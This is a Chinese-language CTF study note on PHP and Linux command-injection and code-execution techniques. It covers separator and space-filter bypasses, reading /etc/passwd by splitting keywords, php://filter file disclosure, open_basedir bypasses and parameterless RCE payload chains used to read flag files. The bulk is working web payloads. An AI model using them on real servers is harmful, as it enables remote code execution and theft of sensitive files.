文章目录
linux是操作系统,是服务器操作系统,目前大多数都是采用linux服务系统
主要原因就不多说了
命令执行和代码执行
命令执行实在LINUX终端里面进行执行的,功能强大
代码执行仅仅是存在与代码中,进行代码执行,个人认为执行的也就仅仅是简单的print内容
核心是命令执行,而非代码执行
既然说到命令执行是在LINUX终端进行的,那么我们需要调用LINUX下的命令执行函数,比如常见的:
system
shell_exec
exec
这些常见的命令执行函数
而我们常见的代码执行函数,最多的就是exec,我们很少在php代码里面看见system(),也正是因为system是命令执行函数,而非代码执行,因此不是那么好镶嵌的代码里面
当然存在代码执行函数可以调用我们的命令执行函数,比如说:
call_user_func(
a
,
a,
a,b):回调函数,可以使用is_callable查看是否可以进行调用
$a:调用的函数模块
$b:传进去参数
(通常是 system,whoami)
常见的绕过命令执行的方式:
常见的分隔符:
• 换行符 %0a
• 回车符 %0d
• 连续指令 ;
• 后台进程 &
• 管道符 |
• 逻辑 || &&
绕过空格:
• $IFS
• <
• ${IFS}
• $IFS$9
• %09
特殊字符绕过:
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
• %0a
• %0d
• %00
• %20
绕过:
变量绕过:
a=l,b=s;$a$b
base64编码绕过
echo 'cat' | base64
未定义的初始化变量
cat$b /etc/passwd
连通符绕过
cat /etc/pass’w’d
通配符:
???/?s --help
1.PHP短标签的学习:
今天看了一下PHP短标签,解决了挺多疑惑的。
首先了解什么是PHP段标签:
官方回答:
当解析一个文件时,PHP 会寻找起始和结束标记,也就是 <?php 和 ?>,这告诉 PHP 开始和停止解析二者之间的代码。此种解析方式使得 PHP 可以被嵌入到各种不同的文档中去,而任何起始和结束标记之外的部分都会被 PHP 解析器忽略。
PHP 有一个 echo 标记简写 <?=, 它是更完整的 <?php echo 的简写形式。
为了更方便PHP代码与其他页面的镶嵌,使用短标签告诉PHP开始解析PHP代码和停止解析PHP代码,这就是段标签的作用
常见的PHP段标签有以下:
PHP的标签有至少四种:<?php ?>、<?= ?>、<script language="php"></script>、<? ?>、<% %>(ASP风格)、<%= %>。
PHP的配置文件php.ini中:
"<? ?>"的支持需要short_open_tag=On,要在XML中使用PHP,需要禁用此标签。
"<%%>"的支持需要asp_tags=On。
"<?= ?>"总是有效的,无论short_open_tag是否设置。
除了<?php ?>和<?=?>其他的标签在PHP7.0.0中被移除,强烈建议使用<?php?>标签,代码才能更好的兼容性。
值得注意的是:<?=相当于是一个<?php echo
认识了短标签,我们通过一道题目再看具体学一下:
playload:?c=include($_GET['shell'])?>&shell=php://filter/read=convert.base64- encode/resource=flag.php
此处就通过文件包含利用伪协议
学一下|| && ;的作用:
command1 && command2: &&左边的command1执行成功(返回0表示成功)后,&&右边的command2才能被执行。
command1 || command2: 如果||左边的command1执行失败(返回1表示失败),就执行&&右边的command2。
command1;command2: 命令顺序执行
再具体看一下怎么用的:
dev/null 2>&1:让所有的输出流(包括错误的和正确的)都定向到空设备丢弃
这里我们可以使用上述来绕过:
?c=ls||>dev/null 2>&1 :左边的ls执行成功,就不执行右边的
?c=ls;>dev/null 2>&1:都会执行,这里也存在ls回显,顺序执行呃,有点纳闷
?c=ls&&>dev/null 2>&1:左边执行成功才会执行右边的,这里好像没有回显
当代码后面出现很多不如意的命令处理:
看代码:
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
上述代码不允许eval的内容出现,所以这里我们使用exit(0)
c=include("/flag.txt");exit();
直接运行玩就退出了
常用的高亮或者打印文章或者包含
c=highlight_file('flag.php');
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
include
include_once
require
require_once
open_basedir 绕过:
copy rename:
open_basedir :由于open_basedir的设置对system等命令执行函数是无效的,所以我们需要使用命令执行函数来访问限制目录
代码执行的函数上面已经有了,下面学习了一下yu师傅的姿势:
copy与rename:
copy ( string source, string dest )
将文件从 source 拷贝到 dest。如果成功则返回 TRUE,失败则返回 FALSE。
如果要移动文件的话,请用 rename() 函数。
rename ( string oldname, string newname [, resource context] )
重命名一个文件或目录
尝试把 oldname 重命名为 newname。
如果成功则返回 TRUE,失败则返回 FALSE。
我们通过代码执行的方法进行上述操作,更改文档类型,将注释下的php改为text就可以看见了
fopen :
先看一下fopen的利用,其中feof是来判断是否到最后一行的
<?php
//首先采用“fopen”函数打开文件,得到返回值的就是资源类型。
$file_handle = fopen("/data/webroot/resource/php/f.txt","r");
if ($file_handle){
//接着采用while循环(后面语言结构语句中的循环结构会详细介绍)一行行地读取文件,然后输出每行的文字
while (!feof($file_handle)) { //判断是否到最后一行
$line = fgets($file_handle); //读取一行文本
echo $line; //输出一行文本
echo "<br />"; //换行
}
}
fclose($file_handle);//关闭文件
?>
再来看一下fopen里面有哪些可以读取的函数:
给出yu师傅整理的:
通过fopen读文件内容:
函数:
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
用法:
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用
$a=fopen("flag.php","r");echo fpassthru($a); //过59
$a=fopen("flag.php","r");echo fread($a,"1000"); //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;} //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} //过60
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);} //过60
注意 那个{}只是PHP语句循环语句的格式{}
查看目录:
首先要知道的小知识:./是当前目录 2、…/是父级目录 3、/是根目录
flag不在flag.php中,需要先查找flag所在的位置
scandir()
opendir()
用法
c=var_dump(scandir("/"));highlight_file("/flag.txt"); //过66-67
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };highlight_file("/flag.txt"); //过66-67
scandir还是很香的
接着高亮一下 打开发现是一个二进制文件emmm 后面补充
scandir更为熟悉一些,刚刚看了一下scandir和opendir,感觉scandir更好理解
opendir配套的readdir配套使用效果更好,读取并输出,opendir配上print_r就无法打印出内容
这里有个小坑的地方:scandir相当于已经打开并且读取了,opendir顾名思义就知道,仅仅是打开,所以我们开了之后要进行读取才可以。所以才会有接下来的readdir
下面理解一下下面这个playload:
$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("flagx.txt");exit();
出现了glob,查一查:
$directories = glob("/tmp/*", GLOB_ONLYDIR);//获取/tmp/目录下的所有目录
$complete = glob("/tmp/*");//获取/tmp/目录下的所有目录和文件
$ files = array_diff($directories, $complete);//获取/tmp/目录下的所有文件
同样glob也只是获取,并非输出,所以也要配合readdir使用
无参数RCE
看了其他师傅文章知道的:
代码如下;
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['a'])) {
eval($_GET['a']);}
// 正则表达式的作用:/[^\W]+\((?R)?\)/ 无参数函数的校验,其只允许执行如下格式函数
a('123');就不可以到那时b(a())就可以
利用session_id绕过:
php中有一个函数叫session_id(),可以直接获取到cookie中的phpsessionid值,phpsessionid的组成符号有限定,不能使用 ’ () ',所以我们需要将我们要执行的命令转换成16进制,然后再通过hex2bin函数转换回去
最终执行的命令应该如下:
eval(eval(hex2bin(session_id(session_start))));
phpsession=706870696e666f28293b //这是phpinfo的16进制
当hex2bin被禁用的时候,我们可以考虑PHPSESSID容许的字符,比如说flag.php这样的都可以,但是我们就要考虑怎么读取了,因为没有办法调用system,因此使用readfile进行读取就好
getallheaders():
var_dump(end(getallheaders()))
之前我们获取的是所有环境变量的列表,但其实我们并不需要这么多信息。仅仅http header即可
在apache2环境下,我们有函数getallheaders()可返回
我们可以看一下返回值:
使用这个函数就可以打印出headers的信息,那如果配合上我们的end,直接取最后一个头,就可以实现无参数RCE
这里我采取的是CTFSHOW的题目,因为题目用的可能不是apache2的中间件,所以我自己单独添加header就出现了错误,没有返回结果,如下:
——————————————————————————————————
那么在适用条件下,有结果的返回应该是怎么样的呢?:
以上就是这个方法的调用。
以[GXYCTF2019]禁止套娃多姿势讲解无参数RCE:
1.直接用session_id绕过即可:
一个图应该就可以看懂
无参数RCE:
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值
scandir(current(localeconv())) ==scandir(’.’) // current的别名是pos(),所以用这可以少打几个字母
//current(localeconv())永远都是个点
现在我们要读取第三个数组的flag.php,这个位置很尴尬
先来看看可以移动指针的函数:
看看next()效果
确实只能读取下一个数组了
这里接下来也要继续使用如下的函数;
我先给出playload,具体方法原理我们等下在讲解:
?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
再来看一下函数的值:
array_reverse():print_r(array_reverse(scandir(current(localeconv()))));
这里就已经进行了反转排序
array_flip():交换数组的键和值
那么结合上面得两个函数,我们可以交换数组与键值,然后再进行一个倒序排列,再使用next()函数就可以读到flag.php的字段,然后用一个高亮函数:show_source highlight_file等等就可以高亮出文件内容
以上的两个函数就可以构造出一个playload
再看下一个playload:
array_rand():从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php
但是同样,通过这种rand的去取,我们取到的依然是键[1\2\3\4],所以还是需要交换键与值,拿到flag.php这个键名,然后通过高亮函数包含以下就可以了
构造出上述Playload
无参数无字母RCE:
参考羽师傅写的文章,他写的很全,我这里就不再说明了